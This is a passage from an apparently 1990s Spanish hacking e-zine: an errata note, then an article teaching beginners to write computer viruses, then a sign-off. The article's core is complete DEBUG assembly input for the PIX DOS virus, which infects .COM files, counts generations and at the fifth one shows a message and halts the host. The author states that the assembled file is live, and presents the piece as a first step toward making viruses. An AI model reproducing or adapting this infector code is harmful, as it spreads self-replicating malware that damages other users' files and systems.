==>Hemos recibido comentarios sobre el articulo de traceo de llamadas en infovia. La verdad es que el articulo no era muy detallado e intentaba simplificar el tema para su mayor comprension, por eso puede que haya imprecisiones y algunos errores. Si alguien conoce en profundidad el funcionamiento de infovia, le agradeceriamos que lo explicase con mas claridad.

En general.

-Debido al formato de la revista, la mayoria de los articulos, no llevan acentos por los problemas de compatibilidad con algunos sistemas, que en vez de mostrar acentos muestran caracteres estra¤os. (Para evitar estos problemas, la version final de la revista esta creada en un formato ASCII compatible con el Edit del Dos)
-Algunos de los nuestros escriben hacking, cracking, etc... sin la 'g' final, no os preocupeis, es igual que escirbir en vez de 'c' una 'k' (Ej. Vaka) o en vez de poner 'o' poner '0' (Ej. Cer0) son manias.

Y si no teneis ganas de corregir a mano cada uno de los errores, no os preocupeis, dentro de poco sacaremos un pack, con los 5 primeros numeros revisados, y tal vez, con algun regalito tambien.

EOF

```
ÉÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍ»
º 11. EL DIVERTIDO MUNDO DE LOS VIRUS                                       º
ÈÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍ¼
```

Hola a todos, bienvenidos al divertido mundo de los virus, esos peque¤os engendros que tan divertidos son. En estos articulos ense¤are las tecnicas basicas para crear un virus simple, pero no por eso menos efectivo.

IDEAS BASICAS
===============

Antes de empezar a soltar el rollo voy a hacer, unas peque¤as definiciones sobre el mundo de los virus, es mas que nada para los que no tengan idea de casi nada de este mundo, para los demas seguir mas abajo ;-)

.VIRUS: Es un peque¤o programa generalmente escrito en ensamblador, aunque los hay escritos en pascal y otros lenguajes, el cual es capaz replicar su codigo de forma continuada, hasta llegar a una fecha predeterminada o numero de encendidos del ordenar en la cual el virus hace su accion nociva por asi decirlo.

.CABALLO DE TROYA (TROYANO): Es un programa legal (en apariencia) que lleva en su interior un codigo da¤ino en cuestion, este no se autoreplica solo se ejecuta una vez (y ya es suficiente para que acabe con tu disco), uno de los mas famoso el Trojan AIDS.

.GUSANO: Es un programa que se desplaza por la memoria del ordenador(RAM), busca zonas de memoria desocupadas en las que realiza copias repetidas hasta provocar un desbordamiento de memoria, se usan mayoritariamente en redes, uno de los mas famosos fue el de Robert Morris.

.BOMBA LOGICA: Es un peque¤o programa que permanece, oculto y ni se autoduplica ni se desplaza en memoria, tan solo espera a que llegue una fecha determinada o que alguien ejecute una orden y entonces se activa el proceso destructivo de la bomba al igual que el caballo de troya solo se ejecuta una vez.

Bien es hora de pasar a lo que realmente interesa el principio de un virus. Solo se necesita saber algo de programacion, y ganas de aprender ya vereis que al final no es tan dificil hacer un virus simple y a partir de ahi mejorarlo.

Primero veamos como actua un virus

1- Busca un fichero para infectar (Ej.: EXE,COM,OVL...)
2- Lo abre y comprueba el tipo de fichero,tama¤o y si esta infectado.
3- Si esta infectado, lo cierra y busca otro
4- Por el contrario sino lo infecta.
5- Le devuelve el control al programa infectandose y continua la ejecucion normal.

Llego la hora del ejemplo. Es un virus llamado PIX, quiza no es muy famoso y mucho menos una maravilla de virus, pero sirve de ejemplo.

--- CUIDADO !!! si lo haceis COM con el DEBUG, el virus estara activo, asi que si lo ejecutais ya os imaginais lo que pasara ;-)))

```
NPIX.COM
A
JMP 0116
```

```
DB  90,49,56,00,2A,2E,43,4F,4D,00,4F,04,00,00,01,00,00,00,00,00
MOV AX,CS
ADD AX,1000
MOV ES,AX
INC BYTE PTR [0105] ; Incrementa el contador de generaciones.
MOV SI,0100
XOR DI,DI
MOV CX,014F
REPZ
MOVSB
MOV DX,025F
MOV AH,1A
INT 21              ;Se encarga de crear el DTA para los ficheros...
MOV DX,0106         ;con extension.COM
MOV CX,0018
MOV AH,4E
INT 21
JB 019E
MOV DX,027D
MOV AX,3D02         ;Abre el fichero en modo lectura/escritura.
INT 21
MOV [0114],AX
MOV BX,AX
PUSH ES
POP DS
MOV DX,034F
MOV CX,FFFF
MOV AH,3F
INT 21
ADD AX,034F
CS:
MOV [0112],AX       ;A continuacion, la firma del virus:
dB 3E,81,3E
DB 52,03
DB 49,56
JZ 0188
XOR CX,CX
MOV DX,CX
CS:
MOV BX,[0114]
MOV AX,4200
INT 21              ;Desplaza el puntero.
JB 0188
MOV DX,0000
CS:
MOV CX,[0112]
CS:
MOV BX,[0114]
MOV AH,40
INT 21              ;Salva virus y programa contaminado.
CS:
MOV BX,[0112]
MOV AH,3E
INT 21              ;Cierra el fichero.
PUSH CS
POP DS
MOV AH,4F
MOV DX,025F
INT 21
JB 019E
JMP 013E
MOV DX,0080
```

```
MOV AH,1A
INT 21              ;Restaura el DTA original.
CMP BYTE PTR [0105],05 ; ¨Quinta generacion?...
JB 0207                ; Si es asi, comienza el espectaculo.
MOV AX,0040
MOV DS,AX
MOV AX,[006C]       ; Aleatoriedad de manifestacion del virus...
PUSH CS             ; mediante el registro de decimas de segundo.
POPDS
AND AX,0001
JZ 0207
MOV DX,01C4
MOV AH,09
INT 21
INT 20              ; A continuacion, el mensaje del virus.
DB 59,4F,55,52,20,50,43,20,48,41,56,45,20,41,20,4D,45,53,53,41,4A,52
DB 20,46,4F,52,20,59,4F,55,20,3A,20,4A,4F,44,45,54,45,20,59,20,45,53
DB 50,45,52,41,20,43,41,4D,49,4C,4F,20,4A,4F,53,45,20,43,45,4C,41,2E
DB 24
MOV SI,0224
MOV CX,002B
XOR DI,DI
REPZ
MOVSB
XOR DI,DI
CS:
MOV WORD PTR [010E],0000
CS:
MOV [0110],ES
CS:
JMP FAR [010E]
PUSH DS
POP ES
MOV SI,044F
CMP BYTE PTR [0105],01
JNZ 0234
SUB SI,0200
MOV DI,0100
MOV CX,FFFF
SUB CX,SI
REPZ
MOVSB
CS:
MOV WORD PTR [0100],0100
CS:
MOV [0102],DS
CS:
JMP FAR [0100]      ; Salto a la ejecucion del verdadero programa...
INT 20              ; siempre que se trate de una generacion...
INT 20              ; posterior a la primera, y por tanto, exista.
DB 0,0

R CX
154
W
Q
```

  * Todo lo explicado es puramente para interes cientifico o estudio, el
   autor del articulo no se hace responsable del mal uso de lo aqui expuesto
   ni de los da¤os que estos puedan causar.

  NOTA: Aun no soy ningun experto, en la tecnica de los virus, solo

intento aportar una ayuda para los que como yo una vez, empiezan ahora
en este mundo de los virus, la informacion aqui expuesta esta sacada
de investigaciones propias y de largas horas de busqueda de informacion
en otras revistas y textos de qualquier tipo hallados en INTERNET.
A todos ellos GRACIAS. O:-)

POLIMORPH

EOF

ÉÍÍÍ»
º 12. DESPEDIDA º
ÈÍÍÍ¼

Adios a los que se van y enhorabuena a los que se quedan.

-FINAL DEL NUMERO 6-

EOF